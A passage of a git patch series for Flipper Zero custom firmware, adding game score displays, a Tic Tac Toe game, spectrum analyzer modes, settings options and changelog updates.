"%u", snake_state->len - 7); + canvas_draw_str_aligned(canvas, 126, 8, AlignRight, AlignBottom, buffer2); + // Game Over banner if(snake_state->state == GameStateGameOver) { // Screen is 128x64 px diff --git a/applications/tetris_game/tetris_game.c b/applications/tetris_game/tetris_game.c index 18c221b89..04b621226 100644 --- a/applications/tetris_game/tetris_game.c +++ b/applications/tetris_game/tetris_game.c @@ -150,6 +150,11 @@ static void tetris_game_render_callback(Canvas* const canvas, void* ctx) { tetris_game_draw_border(canvas); tetris_game_draw_playfield(canvas, tetris_state); + // Show score on the game field + char buffer2[6]; + snprintf(buffer2, sizeof(buffer2), "%u", tetris_state->numLines); + canvas_draw_str_aligned(canvas, 61, 8, AlignRight, AlignBottom, buffer2); + if(tetris_state->gameState == GameStateGameOver) { // 128 x 64 canvas_set_color(canvas, ColorWhite); @@ -476,4 +481,4 @@ int32_t tetris_game_app() { free(tetris_state); return 0; -} +} \ No newline at end of file diff --git a/applications/tictactoe_game/tictactoe_game.c b/applications/tictactoe_game/tictactoe_game.c new file mode 100644 index 000000000..d69684c1c --- /dev/null +++ b/applications/tictactoe_game/tictactoe_game.c @@ -0,0 +1,349 @@ +#include +#include +#include +#include +#include +#include + +#define TAG "TicTacToe" + +uint8_t selBoxX; +uint8_t selBoxY; + +uint8_t selX = 2; +uint8_t selY = 2; + +uint16_t scoreX; +uint16_t scoreO; + +char player = 'X'; + +char field[3][3]; +bool fieldx[3][3]; + +const uint8_t coords[3] = {6, 27, 48}; + +bool button_state = false; + +typedef enum { EventTypeTick, EventTypeKey } EventType; + +typedef enum { DirectionUp, DirectionRight, DirectionDown, DirectionLeft } Direction; + +typedef enum { GameStatePlaying, GameStateGameOver } GameState; + +typedef struct { + GameState game_state; + osTimerId_t timer; +} TicTacToeState; + +typedef struct { + EventType type; + InputEvent input; +} GameEvent; + +void drawCross(Canvas* const canvas, uint8_t x, uint8_t y) { + canvas_draw_line(canvas, x, y, x + 9, y + 9); // top left - bottom right slash + canvas_draw_line(canvas, x + 9, y, x, y + 9); // down left - top right slash +} + +void drawCircle(Canvas* const canvas, uint8_t x, uint8_t y) { + canvas_draw_circle(canvas, x + 4, y + 5, 5); +} + +void player_switch() { + if(player == 'O') { + player = 'X'; + } else if(player == 'X') { + player = 'O'; + } +} + +void tictactoe_draw(Canvas* canvas) { + // Draws the game field + canvas_draw_frame(canvas, 0, 0, 64, 64); // frame + canvas_draw_line(canvas, 0, 21, 63, 21); // horizontal line + canvas_draw_line(canvas, 0, 42, 63, 42); // horizontal line + canvas_draw_line(canvas, 21, 0, 21, 63); // vertical line + canvas_draw_line(canvas, 42, 0, 42, 63); // vertical line + + // Draws the game field elements (X or O) + for(uint8_t i = 0; i <= 2; i++) { + for(uint8_t j = 0; j <= 2; j++) { + if(field[i][j] == 'O') { + drawCircle(canvas, coords[i], coords[j]); + } else if(field[i][j] == 'X') { + drawCross(canvas, coords[i], coords[j]); + } + } + } + + // Draws the selection box + if(selX == 1) { + selBoxX = 1; + } else if(selX == 2) { + selBoxX = 22; + } else if(selX == 3) { + selBoxX = 43; + } + + if(selY == 1) { + selBoxY = 1; + } else if(selY == 2) { + selBoxY = 22; + } else if(selY == 3) { + selBoxY = 43; + } + + canvas_set_color(canvas, ColorBlack); + canvas_draw_frame(canvas, selBoxX, selBoxY, 20, 20); + canvas_draw_frame(canvas, selBoxX + 1, selBoxY + 1, 18, 18); + + // Draws the sidebar + canvas_set_font(canvas, FontPrimary); + canvas_draw_str(canvas, 81, 10, "SCORE"); + canvas_draw_str(canvas, 75, 24, "X:"); + + char scoreXBuffer[10]; + sprintf(scoreXBuffer, "%d", scoreX); + canvas_draw_str(canvas, 88, 24, scoreXBuffer); + canvas_draw_str(canvas, 75, 35, "O:"); + + char scoreOBuffer[10]; + sprintf(scoreOBuffer, "%d", scoreO); + canvas_draw_str(canvas, 88, 35, scoreOBuffer); + + canvas_set_font(canvas, FontSecondary); + canvas_draw_str(canvas, 75, 46, "Player:"); + + if(player == 'X') { + drawCross(canvas, 93, 50); + } else if(player == 'O') { + drawCircle(canvas, 93, 50); + } +} + +void clear_game_field() { + // Clears the game field arrays + for(uint8_t i = 0; i <= 2; i++) { + for(uint8_t j = 0; j <= 2; j++) { + field[i][j] = ' '; + fieldx[i][j] = false; + } + } + + selX = 2; // Centers the selection box on X axis + selY = 2; // Centers the selection box on Y axis +} + +void reset_game_data() { + scoreO = 0; + scoreX = 0; + player = 'X'; +} + +void draw_win(Canvas* canvas, char player) { + // Handles the score table + if(player == 'X') { + scoreX++; + } else if(player == 'O') { + scoreO++; + } + + // Switches the players + player_switch(); + + // Draws the board with players switched + tictactoe_draw(canvas); + + // Clear the game field + clear_game_field(); + + // Draw the new board + tictactoe_draw(canvas); +} + +static void tictactoe_state_init(TicTacToeState* const tictactoe_state) { + // Set the initial game state + tictactoe_state->game_state = GameStatePlaying; + + clear_game_field(); + + reset_game_data(); +} + +static void tictactoe_draw_callback(Canvas* const canvas, void* ctx) { + const TicTacToeState* tictactoe_state = acquire_mutex((ValueMutex*)ctx, 25); + if(tictactoe_state == NULL) { + return; + } + + if(selX > 3) { + selX = 3; + } else if(selX < 1) { + selX = 1; + } + + if(selY > 3) { + selY = 3; + } else if(selY < 1) { + selY = 1; + } + + // Assigns the game field elements their value (X or O) when the OK button is pressed + if(button_state) { + button_state = false; + for(uint8_t i = 0; i <= 2; i++) { + for(uint8_t j = 0; j <= 2; j++) { + if((selX == i + 1) && (selY == j + 1) && (fieldx[i][j] == false)) { + if(player == 'X') { + field[i][j] = 'X'; + fieldx[i][j] = true; + player_switch(); + } else if(player == 'O') { + field[i][j] = 'O'; + fieldx[i][j] = true; + player_switch(); + } + } + } + } + } + + // Checks the game field for winning combinations + if((field[0][0] == 'X') && (field[1][0] == 'X') && (field[2][0] == 'X')) { + draw_win(canvas, 'X'); + } else if((field[0][1] == 'X') && (field[1][1] == 'X') && (field[2][1] == 'X')) { + draw_win(canvas, 'X'); + } else if((field[0][2] == 'X') && (field[1][2] == 'X') && (field[2][2] == 'X')) { + draw_win(canvas, 'X'); + } else if((field[0][0] == 'X') && (field[0][1] == 'X') && (field[0][2] == 'X')) { + draw_win(canvas, 'X'); + } else if((field[1][0] == 'X') && (field[1][1] == 'X') && (field[1][2] == 'X')) { + draw_win(canvas, 'X'); + } else if((field[2][0] == 'X') && (field[2][1] == 'X') && (field[2][2] == 'X')) { + draw_win(canvas, 'X'); + } else if((field[0][0] == 'X') && (field[1][1] == 'X') && (field[2][2] == 'X')) { + draw_win(canvas, 'X'); + } else if((field[2][0] == 'X') && (field[1][1] == 'X') && (field[0][2] == 'X')) { + draw_win(canvas, 'X'); + } else if((field[0][0] == 'O') && (field[1][0] == 'O') && (field[2][0] == 'O')) { + draw_win(canvas, 'O'); + } else if((field[0][1] == 'O') && (field[1][1] == 'O') && (field[2][1] == 'O')) { + draw_win(canvas, 'O'); + } else if((field[0][2] == 'O') && (field[1][2] == 'O') && (field[2][2] == 'O')) { + draw_win(canvas, 'O'); + } else if((field[0][0] == 'O') && (field[0][1] == 'O') && (field[0][2] == 'O')) { + draw_win(canvas, 'O'); + } else if((field[1][0] == 'O') && (field[1][1] == 'O') && (field[1][2] == 'O')) { + draw_win(canvas, 'O'); + } else if((field[2][0] == 'O') && (field[2][1] == 'O') && (field[2][2] == 'O')) { + draw_win(canvas, 'O'); + } else if((field[0][0] == 'O') && (field[1][1] == 'O') && (field[2][2] == 'O')) { + draw_win(canvas, 'O'); + } else if((field[2][0] == 'O') && (field[1][1] == 'O') && (field[0][2] == 'O')) { + draw_win(canvas, 'O'); + } else if( + (fieldx[0][0] == true) && (fieldx[0][1] == true) && (fieldx[0][2] == true) && + (fieldx[1][0] == true) && (fieldx[1][1] == true) && (fieldx[1][2] == true) && + (fieldx[2][0] == true) && (fieldx[2][1] == true) && (fieldx[2][2] == true)) { + draw_win(canvas, 'T'); + } + + tictactoe_draw(canvas); + + release_mutex((ValueMutex*)ctx, tictactoe_state); +} + +static void tictactoe_input_callback(InputEvent* input_event, osMessageQueueId_t event_queue) { + furi_assert(event_queue); + + GameEvent event = {.type = EventTypeKey, .input = *input_event}; + osMessageQueuePut(event_queue, &event, 0, osWaitForever); +} + +static void tictactoe_update_timer_callback(osMessageQueueId_t event_queue) { + furi_assert(event_queue); + + GameEvent event = {.type = EventTypeTick}; + osMessageQueuePut(event_queue, &event, 0, 0); +} + +int32_t tictactoe_game_app(void* p) { + osMessageQueueId_t event_queue = osMessageQueueNew(8, sizeof(GameEvent), NULL); + + TicTacToeState* tictactoe_state = malloc(sizeof(TicTacToeState)); + + ValueMutex state_mutex; + if(!init_mutex(&state_mutex, tictactoe_state, sizeof(TicTacToeState))) { + FURI_LOG_E(TAG, "Cannot create mutex\r\n"); + free(tictactoe_state); + return 255; + } + + // Set system callbacks + ViewPort* view_port = view_port_alloc(); + view_port_draw_callback_set(view_port, tictactoe_draw_callback, &state_mutex); + view_port_input_callback_set(view_port, tictactoe_input_callback, event_queue); + + tictactoe_state->timer = + osTimerNew(tictactoe_update_timer_callback, osTimerPeriodic, event_queue, NULL); + osTimerStart(tictactoe_state->timer, osKernelGetTickFreq() / 22); + + tictactoe_state_init(tictactoe_state); + + // Open GUI and register view_port + Gui* gui = furi_record_open("gui"); + gui_add_view_port(gui, view_port, GuiLayerFullscreen); + + GameEvent event; + for(bool processing = true; processing;) { + osStatus_t event_status = osMessageQueueGet(event_queue, &event, NULL, 100); + TicTacToeState* tictactoe_state = (TicTacToeState*)acquire_mutex_block(&state_mutex); + + if(event_status == osOK) { + // Key events + if(event.type == EventTypeKey) { + if(event.input.type == InputTypePress) { + switch(event.input.key) { + case InputKeyBack: + processing = false; + break; + case InputKeyRight: + selX++; + break; + case InputKeyLeft: + selX--; + break; + case InputKeyUp: + selY--; + break; + case InputKeyDown: + selY++; + break; + case InputKeyOk: + button_state = true; + break; + } + } + } + } else { + // Event timeout + FURI_LOG_D(TAG, "osMessageQueue: Event timeout"); + } + + view_port_update(view_port); + release_mutex(&state_mutex, tictactoe_state); + } + + osTimerDelete(tictactoe_state->timer); + view_port_enabled_set(view_port, false); + gui_remove_view_port(gui, view_port); + furi_record_close("gui"); + view_port_free(view_port); + osMessageQueueDelete(event_queue); + furi_record_close("notification"); + delete_mutex(&state_mutex); + free(tictactoe_state); + + return 0; +} \ No newline at end of file From c591b6db039439262f02d4ebd2544afe8cedb273 Mon Sep 17 00:00:00 2001 From: TQMatvey Date: Tue, 21 Jun 2022 12:43:10 +0700 Subject: [PATCH 330/461] Added 10s Display Timeout --- applications/notification/notification_settings_app.c | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/applications/notification/notification_settings_app.c b/applications/notification/notification_settings_app.c index 8254473fe..60358375a 100644 --- a/applications/notification/notification_settings_app.c +++ b/applications/notification/notification_settings_app.c @@ -46,17 +46,18 @@ const char* const volume_text[VOLUME_COUNT] = { }; const float volume_value[VOLUME_COUNT] = {0.0f, 0.25f, 0.5f, 0.75f, 1.0f}; -#define DELAY_COUNT 7 +#define DELAY_COUNT 8 const char* const delay_text[DELAY_COUNT] = { "1s", "5s", + "10s", "15s", "30s", "60s", "90s", "120s", }; -const uint32_t delay_value[DELAY_COUNT] = {1000, 5000, 15000, 30000, 60000, 90000, 120000}; +const uint32_t delay_value[DELAY_COUNT] = {1000, 5000, 10000, 15000, 30000, 60000, 90000, 120000}; #define VIBRO_COUNT 2 const char* const vibro_text[VIBRO_COUNT] = { From b45719c1b1dd4765310fa0e1300092cc97dce309 Mon Sep 17 00:00:00 2001 From: Eng1n33r Date: Tue, 21 Jun 2022 18:01:04 +0300 Subject: [PATCH 331/461] upd changelog --- CHANGELOG.md | 2 ++ 1 file changed, 2 insertions(+) diff --git a/CHANGELOG.md b/CHANGELOG.md index 0c511eae0..b1f5dee39 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -1,4 +1,6 @@ ### New Update +* Merged latest ofw dev changes - Infrared C port, nfc DESFire fixes, Update complete screen, etc... +* Merged PR - Added 10s Display Timeout * Games: Snake & Tetis now shows score * Volume patch in music player (testing needed) * Two new games: Arkanoid & Tic Tac Toe From 35b5cb86f52f7c0589a629c75be92188c237ab6f Mon Sep 17 00:00:00 2001 From: Eng1n33r Date: Tue, 21 Jun 2022 18:18:30 +0300 Subject: [PATCH 332/461] upd changelog --- CHANGELOG.md | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index b1f5dee39..d05c2bab6 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -1,5 +1,7 @@ ### New Update -* Merged latest ofw dev changes - Infrared C port, nfc DESFire fixes, Update complete screen, etc... +* Merged latest ofw dev changes: + Infrared app C port, nfc: NTAG21x complete emulation, nfc: DESFire fixes + SubGhz: frequency analyzer combined frequency detection method, etc... * Merged PR - Added 10s Display Timeout * Games: Snake & Tetis now shows score * Volume patch in music player (testing needed) From 881b6d26340378af253aabc0644617904c90efc2 Mon Sep 17 00:00:00 2001 From: Eng1n33r Date: Wed, 22 Jun 2022 04:11:52 +0300 Subject: [PATCH 333/461] spectrum analyzer new mode --- CHANGELOG.md | 1 + ReadMe.md | 2 +- applications/snake_game/snake_game.c | 9 ++++---- .../spectrum_analyzer/spectrum_analyzer.c | 22 ++++++++++++++++--- .../spectrum_analyzer/spectrum_analyzer.h | 9 +++++++- .../spectrum_analyzer_worker.c | 8 ++++++- applications/tetris_game/tetris_game.c | 8 ++++--- 7 files changed, 46 insertions(+), 13 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index d05c2bab6..e0eea9d45 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -1,4 +1,5 @@ ### New Update +* Spectrum Analyzer - ULTRA NARROW mode * Merged latest ofw dev changes: Infrared app C port, nfc: NTAG21x complete emulation, nfc: DESFire fixes SubGhz: frequency analyzer combined frequency detection method, etc... diff --git a/ReadMe.md b/ReadMe.md index 596fb3273..487215247 100644 --- a/ReadMe.md +++ b/ReadMe.md @@ -176,7 +176,7 @@ Use **`flipper-z-{target}-full-{suffix}.dfu`** to flash your device. - [UniversalRF Remix (By ESurge)(Original UniversalRF By jimilinuxguy)](https://github.com/ESurge/flipperzero-firmware-unirfremix) - [WAV Player (By DrZlo13)](https://github.com/flipperdevices/flipperzero-firmware/tree/zlo/wav-player) With Fix From [Atmanos](https://github.com/at-manos) - [Tetris (By jeffplang)](https://github.com/jeffplang/flipperzero-firmware/tree/tetris_game/applications/tetris_game) -- [Spectrum Analyzer (By jolcese)](https://github.com/jolcese/flipperzero-firmware/tree/spectrum/applications/spectrum_analyzer) +- [Spectrum Analyzer (By jolcese)](https://github.com/jolcese/flipperzero-firmware/tree/spectrum/applications/spectrum_analyzer) - [ULTRA NARROW mode](https://github.com/theY4Kman/flipperzero-firmware) - [Arkanoid (By gotnull)](https://github.com/gotnull/flipperzero-firmware-wPlugins) - [Tic Tac Toe (By gotnull)](https://github.com/gotnull/flipperzero-firmware-wPlugins) diff --git a/applications/snake_game/snake_game.c b/applications/snake_game/snake_game.c index 1f33d414b..8e7945448 100644 --- a/applications/snake_game/snake_game.c +++ b/applications/snake_game/snake_game.c @@ -85,10 +85,11 @@ static void snake_game_render_callback(Canvas* const canvas, void* ctx) { } // Show score on the game field - char buffer2[6]; - snprintf(buffer2, sizeof(buffer2), "%u", snake_state->len - 7); - canvas_draw_str_aligned(canvas, 126, 8, AlignRight, AlignBottom, buffer2); - + if(snake_state->state != GameStateGameOver) { + char buffer2[6]; + snprintf(buffer2, sizeof(buffer2), "%u", snake_state->len - 7); + canvas_draw_str_aligned(canvas, 126, 8, AlignRight, AlignBottom, buffer2); + } // Game Over banner if(snake_state->state == GameStateGameOver) { // Screen is 128x64 px diff --git a/applications/spectrum_analyzer/spectrum_analyzer.c b/applications/spectrum_analyzer/spectrum_analyzer.c index 508e3ea62..feac2ef8b 100644 --- a/applications/spectrum_analyzer/spectrum_analyzer.c +++ b/applications/spectrum_analyzer/spectrum_analyzer.c @@ -6,8 +6,6 @@ #include #include "spectrum_analyzer.h" -#include - #include #include "spectrum_analyzer_worker.h" @@ -64,6 +62,10 @@ void spectrum_analyzer_draw_scale(Canvas* canvas, const SpectrumAnalyzerModel* m tag_left = model->center_freq - 2; tag_right = model->center_freq + 2; break; + case ULTRANARROW: + tag_left = model->center_freq - 1; + tag_right = model->center_freq + 1; + break; case ULTRAWIDE: tag_left = model->center_freq - 40; tag_right = model->center_freq + 40; @@ -194,6 +196,11 @@ void spectrum_analyzer_calculate_frequencies(SpectrumAnalyzerModel* model) { step = NARROW_STEP; model->spacing = NARROW_SPACING; break; + case ULTRANARROW: + margin = ULTRANARROW_MARGIN; + step = ULTRANARROW_STEP; + model->spacing = ULTRANARROW_SPACING; + break; case ULTRAWIDE: margin = ULTRAWIDE_MARGIN; step = ULTRAWIDE_STEP; @@ -392,6 +399,9 @@ int32_t spectrum_analyzer_app(void* p) { case NARROW: hstep = NARROW_STEP; break; + case ULTRANARROW: + hstep = ULTRANARROW_STEP; + break; case ULTRAWIDE: hstep = ULTRAWIDE_STEP; break; @@ -429,13 +439,19 @@ int32_t spectrum_analyzer_app(void* p) { model->width = NARROW; break; case NARROW: + model->width = ULTRANARROW; + break; + case ULTRANARROW: model->width = ULTRAWIDE; break; case ULTRAWIDE: + model->width = WIDE; + break; default: model->width = WIDE; + break; } - } + } spectrum_analyzer_calculate_frequencies(model); spectrum_analyzer_worker_set_frequencies( spectrum_analyzer->worker, model->channel0_frequency, model->spacing, model->width); diff --git a/applications/spectrum_analyzer/spectrum_analyzer.h b/applications/spectrum_analyzer/spectrum_analyzer.h index 74e135fcf..b5cd6d8fe 100644 --- a/applications/spectrum_analyzer/spectrum_analyzer.h +++ b/applications/spectrum_analyzer/spectrum_analyzer.h @@ -1,4 +1,6 @@ #define NUM_CHANNELS 132 +#define NUM_CHUNKS 6 +#define CHUNK_SIZE (NUM_CHANNELS / NUM_CHUNKS) // Screen coordinates #define FREQ_BOTTOM_Y 50 @@ -12,15 +14,18 @@ * ultrawide mode: 80 MHz on screen, 784 kHz per channel * wide mode (default): 20 MHz on screen, 196 kHz per channel * narrow mode: 4 MHz on screen, 39 kHz per channel + * ultranarrow mode: 2 MHz on screen, 19 kHz per channel */ #define WIDE 0 #define NARROW 1 #define ULTRAWIDE 2 +#define ULTRANARROW 3 /* channel spacing in Hz */ #define WIDE_SPACING 196078 #define NARROW_SPACING 39215 #define ULTRAWIDE_SPACING 784313 +#define ULTRANARROW_SPACING 19607 /* vertical scrolling */ #define VERTICAL_SHORT_STEP 16 @@ -33,9 +38,11 @@ #define WIDE_STEP 5 #define NARROW_STEP 1 #define ULTRAWIDE_STEP 20 +#define ULTRANARROW_STEP 1 #define WIDE_MARGIN 13 #define NARROW_MARGIN 3 #define ULTRAWIDE_MARGIN 42 +#define ULTRANARROW_MARGIN 1 /* frequency bands supported by device */ #define BAND_300 0 @@ -63,4 +70,4 @@ #define MID_900 848000000 #define UPPER(a, b, c) ((((a) - (b) + ((c) / 2)) / (c)) * (c)) -#define LOWER(a, b, c) ((((a) + (b)) / (c)) * (c)) +#define LOWER(a, b, c) ((((a) + (b)) / (c)) * (c)) \ No newline at end of file diff --git a/applications/spectrum_analyzer/spectrum_analyzer_worker.c b/applications/spectrum_analyzer/spectrum_analyzer_worker.c index 9bf3c1085..553170131 100644 --- a/applications/spectrum_analyzer/spectrum_analyzer_worker.c +++ b/applications/spectrum_analyzer/spectrum_analyzer_worker.c @@ -86,7 +86,13 @@ static int32_t spectrum_analyzer_worker_thread(void* context) { instance->max_rssi_dec = 0; - for(uint8_t ch = 0; ch < NUM_CHANNELS - 1; ch++) { + // Visit each channel non-consecutively + for( + uint8_t ch_offset = 0, chunk = 0; + ch_offset < CHUNK_SIZE; + ++chunk >= NUM_CHUNKS && ++ch_offset && (chunk = 0) + ) { + uint8_t ch = chunk * CHUNK_SIZE + ch_offset; furi_hal_subghz_set_frequency(instance->channel0_frequency + (ch * instance->spacing)); furi_hal_subghz_rx(); diff --git a/applications/tetris_game/tetris_game.c b/applications/tetris_game/tetris_game.c index 04b621226..66ae0d55f 100644 --- a/applications/tetris_game/tetris_game.c +++ b/applications/tetris_game/tetris_game.c @@ -151,9 +151,11 @@ static void tetris_game_render_callback(Canvas* const canvas, void* ctx) { tetris_game_draw_playfield(canvas, tetris_state); // Show score on the game field - char buffer2[6]; - snprintf(buffer2, sizeof(buffer2), "%u", tetris_state->numLines); - canvas_draw_str_aligned(canvas, 61, 8, AlignRight, AlignBottom, buffer2); + if(tetris_state->gameState == GameStatePlaying) { + char buffer2[6]; + snprintf(buffer2, sizeof(buffer2), "%u", tetris_state->numLines); + canvas_draw_str_aligned(canvas, 61, 8, AlignRight, AlignBottom, buffer2); + } if(tetris_state->gameState == GameStateGameOver) { // 128 x 64 From 72a5d5c2c7f8edccc22165f39a965e16cec1af88 Mon Sep 17 00:00:00 2001 From: Eng1n33r Date: Mon, 20 Jun 2022 15:03:06 +0300 Subject: [PATCH 334/461] Revert "remove unused env var in git branch name" This reverts commit 9d46f62be1ffa17bc8d13b68b8708ccfec17e82e. --- make/git.mk | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/make/git.mk b/make/git.mk index ea3d16f44..8c0cd73ad 100644 --- a/make/git.mk +++ b/make/git.mk @@ -1,5 +1,5 @@ GIT_COMMIT := $(shell git rev-parse --short HEAD || echo 'unknown') -GIT_BRANCH := $(shell git rev-parse --abbrev-ref HEAD || echo 'dev-cfw') +GIT_BRANCH := $(shell echo $${WORKFLOW_BRANCH_OR_TAG-$$(git rev-parse --abbrev-ref HEAD || echo 'unknown')}) GIT_BRANCH_NUM := $(shell git rev-list --count HEAD || echo 'nan') BUILD_DATE := $(shell date '+%d-%m-%Y' || echo 'unknown') BUILD_TIME := $(shell date '+%H:%M:%S' || echo 'unknown') From 265bc5b961830948d43d2d2999170162f0a80200 Mon Sep 17 00:00:00 2001 From: Eng1n33r Date: Wed, 22 Jun 2022 04:53:21 +0300 Subject: [PATCH 335/461] git version fix and spectrum analyzer mod --- .../spectrum_analyzer/spectrum_analyzer.c | 39 ++++++++++++++++++- make/git.mk | 4 +- 2 files changed, 39 insertions(+), 4 deletions(-) diff --git a/applications/spectrum_analyzer/spectrum_analyzer.c b/applications/spectrum_analyzer/spectrum_analyzer.c index feac2ef8b..ef07c057a 100644 --- a/applications/spectrum_analyzer/spectrum_analyzer.c +++ b/applications/spectrum_analyzer/spectrum_analyzer.c @@ -18,6 +18,8 @@ typedef struct { uint32_t channel0_frequency; uint32_t spacing; + bool mode_change; + float max_rssi; uint8_t max_rssi_dec; uint8_t max_rssi_channel; @@ -87,7 +89,7 @@ void spectrum_analyzer_draw_scale(Canvas* canvas, const SpectrumAnalyzerModel* m static void spectrum_analyzer_render_callback(Canvas* const canvas, void* ctx) { SpectrumAnalyzer* spectrum_analyzer = ctx; - furi_check(osMutexAcquire(spectrum_analyzer->model_mutex, osWaitForever) == osOK); + //furi_check(osMutexAcquire(spectrum_analyzer->model_mutex, osWaitForever) == osOK); SpectrumAnalyzerModel* model = spectrum_analyzer->model; @@ -103,6 +105,32 @@ static void spectrum_analyzer_render_callback(Canvas* const canvas, void* ctx) { canvas_draw_line(canvas, column, FREQ_BOTTOM_Y, column, y); } + if(model->mode_change) { + char temp_mode_str[12]; + switch(model->width) { + case NARROW: + strncpy(temp_mode_str, "NARROW", 12); + break; + case ULTRANARROW: + strncpy(temp_mode_str, "ULTRANARROW", 12); + break; + case ULTRAWIDE: + strncpy(temp_mode_str, "ULTRAWIDE", 12); + break; + default: + strncpy(temp_mode_str, "WIDE", 12); + break; + } + + // Current mode label + char tmp_str[21]; + snprintf( + tmp_str, + 21, + "Mode: %s", + temp_mode_str); + canvas_draw_str_aligned(canvas, 127, 4, AlignRight, AlignTop, tmp_str); + } // Draw cross and label if(model->max_rssi > PEAK_THRESHOLD) { // Compress height to max of 64 values (255>>2) @@ -143,7 +171,7 @@ static void spectrum_analyzer_render_callback(Canvas* const canvas, void* ctx) { canvas_draw_str_aligned(canvas, 127, 0, AlignRight, AlignTop, temp_str); } - osMutexRelease(spectrum_analyzer->model_mutex); + //osMutexRelease(spectrum_analyzer->model_mutex); // FURI_LOG_D("Spectrum", "model->vscroll %u", model->vscroll); } @@ -452,6 +480,13 @@ int32_t spectrum_analyzer_app(void* p) { break; } } + + model->mode_change = true; + view_port_update(spectrum_analyzer->view_port); + + furi_hal_delay_ms(1000); + + model->mode_change = false; spectrum_analyzer_calculate_frequencies(model); spectrum_analyzer_worker_set_frequencies( spectrum_analyzer->worker, model->channel0_frequency, model->spacing, model->width); diff --git a/make/git.mk b/make/git.mk index 8c0cd73ad..e60aa1614 100644 --- a/make/git.mk +++ b/make/git.mk @@ -1,9 +1,9 @@ GIT_COMMIT := $(shell git rev-parse --short HEAD || echo 'unknown') -GIT_BRANCH := $(shell echo $${WORKFLOW_BRANCH_OR_TAG-$$(git rev-parse --abbrev-ref HEAD || echo 'unknown')}) +GIT_BRANCH := dev-cfw GIT_BRANCH_NUM := $(shell git rev-list --count HEAD || echo 'nan') BUILD_DATE := $(shell date '+%d-%m-%Y' || echo 'unknown') BUILD_TIME := $(shell date '+%H:%M:%S' || echo 'unknown') -VERSION := $(shell git describe --tags --abbrev=0 --exact-match 2>/dev/null || echo 'unknown') +VERSION := $(shell echo $${WORKFLOW_BRANCH_OR_TAG-$$(git rev-parse --abbrev-ref HEAD || echo 'unknown')}) GIT_DIRTY_BUILD := 0 # TODO: Return git diff check back GIT_DIRTY_SUFFIX := From 069bdff13209b1966d629412ad29deca4c6c470b Mon Sep 17 00:00:00 2001 From: TQMatvey <77576395+TQMatvey@users.noreply.github.com> Date: Wed, 22 Jun 2022 11:51:14 +0700 Subject: [PATCH 336/461] Fix Changelog typo --- CHANGELOG.md | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index e0eea9d45..ae5939079 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -4,7 +4,7 @@ Infrared app C port, nfc: NTAG21x complete emulation, nfc: DESFire fixes SubGhz: frequency analyzer combined frequency detection method, etc... * Merged PR - Added 10s Display Timeout -* Games: Snake & Tetis now shows score +* Games: Snake & Tetris now shows score * Volume patch in music player (testing needed) * Two new games: Arkanoid & Tic Tac Toe #### Previous changes @@ -34,4 +34,4 @@ * Added UniversalRF Remix app. * Updated Readme. * files for microSD card now included with build, copy them if you installing fw by using .dfu. -* Updated Icons. \ No newline at end of file +* Updated Icons. From bfe9ed94116358d8ad48d8677df1bc966b052081 Mon Sep 17 00:00:00 2001 From: Eng1n33r Date: Wed, 22 Jun 2022 19:08:34 +0300 Subject: [PATCH 337/461] autolock more time options --- CHANGELOG.md | 8 ++++++-- ReadMe.md | 2 +- .../scenes/desktop_settings_scene_start.c | 7 +++++-- 3 files changed, 12 insertions(+), 5 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index ae5939079..0e36b104b 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -1,5 +1,10 @@ ### New Update -* Spectrum Analyzer - ULTRA NARROW mode +* Spectrum Analyzer - show current mode on screen when changing modes +* Spectrum Analyzer - Ultra Narrow mode +* Desktop autolock more time options +* Merged latest ofw dev changes: +SubGhz: PowerSmart protocol, Infrared app fixes +#### Previous changes * Merged latest ofw dev changes: Infrared app C port, nfc: NTAG21x complete emulation, nfc: DESFire fixes SubGhz: frequency analyzer combined frequency detection method, etc... @@ -7,7 +12,6 @@ * Games: Snake & Tetris now shows score * Volume patch in music player (testing needed) * Two new games: Arkanoid & Tic Tac Toe -#### Previous changes * Fixed KeeLoq Uknown behavior, patched StarLine same way * Fixed incorrect var in protocol Scher-Khan (by @Skorpionm) * Came Atomo working emulation algorithm! diff --git a/ReadMe.md b/ReadMe.md index 487215247..ba2b43195 100644 --- a/ReadMe.md +++ b/ReadMe.md @@ -176,7 +176,7 @@ Use **`flipper-z-{target}-full-{suffix}.dfu`** to flash your device. - [UniversalRF Remix (By ESurge)(Original UniversalRF By jimilinuxguy)](https://github.com/ESurge/flipperzero-firmware-unirfremix) - [WAV Player (By DrZlo13)](https://github.com/flipperdevices/flipperzero-firmware/tree/zlo/wav-player) With Fix From [Atmanos](https://github.com/at-manos) - [Tetris (By jeffplang)](https://github.com/jeffplang/flipperzero-firmware/tree/tetris_game/applications/tetris_game) -- [Spectrum Analyzer (By jolcese)](https://github.com/jolcese/flipperzero-firmware/tree/spectrum/applications/spectrum_analyzer) - [ULTRA NARROW mode](https://github.com/theY4Kman/flipperzero-firmware) +- [Spectrum Analyzer (By jolcese)](https://github.com/jolcese/flipperzero-firmware/tree/spectrum/applications/spectrum_analyzer) - [Ultra Narrow mode & scan channels non-consecutively](https://github.com/theY4Kman/flipperzero-firmware/commits?author=theY4Kman) - [Arkanoid (By gotnull)](https://github.com/gotnull/flipperzero-firmware-wPlugins) - [Tic Tac Toe (By gotnull)](https://github.com/gotnull/flipperzero-firmware-wPlugins) diff --git a/applications/desktop/desktop_settings/scenes/desktop_settings_scene_start.c b/applications/desktop/desktop_settings/scenes/desktop_settings_scene_start.c index 8e649c695..aaaf2e779 100644 --- a/applications/desktop/desktop_settings/scenes/desktop_settings_scene_start.c +++ b/applications/desktop/desktop_settings/scenes/desktop_settings_scene_start.c @@ -9,18 +9,21 @@ #define SCENE_EVENT_SELECT_PIN_SETUP 2 #define SCENE_EVENT_SELECT_AUTO_LOCK_DELAY 3 -#define AUTO_LOCK_DELAY_COUNT 6 +#define AUTO_LOCK_DELAY_COUNT 9 const char* const 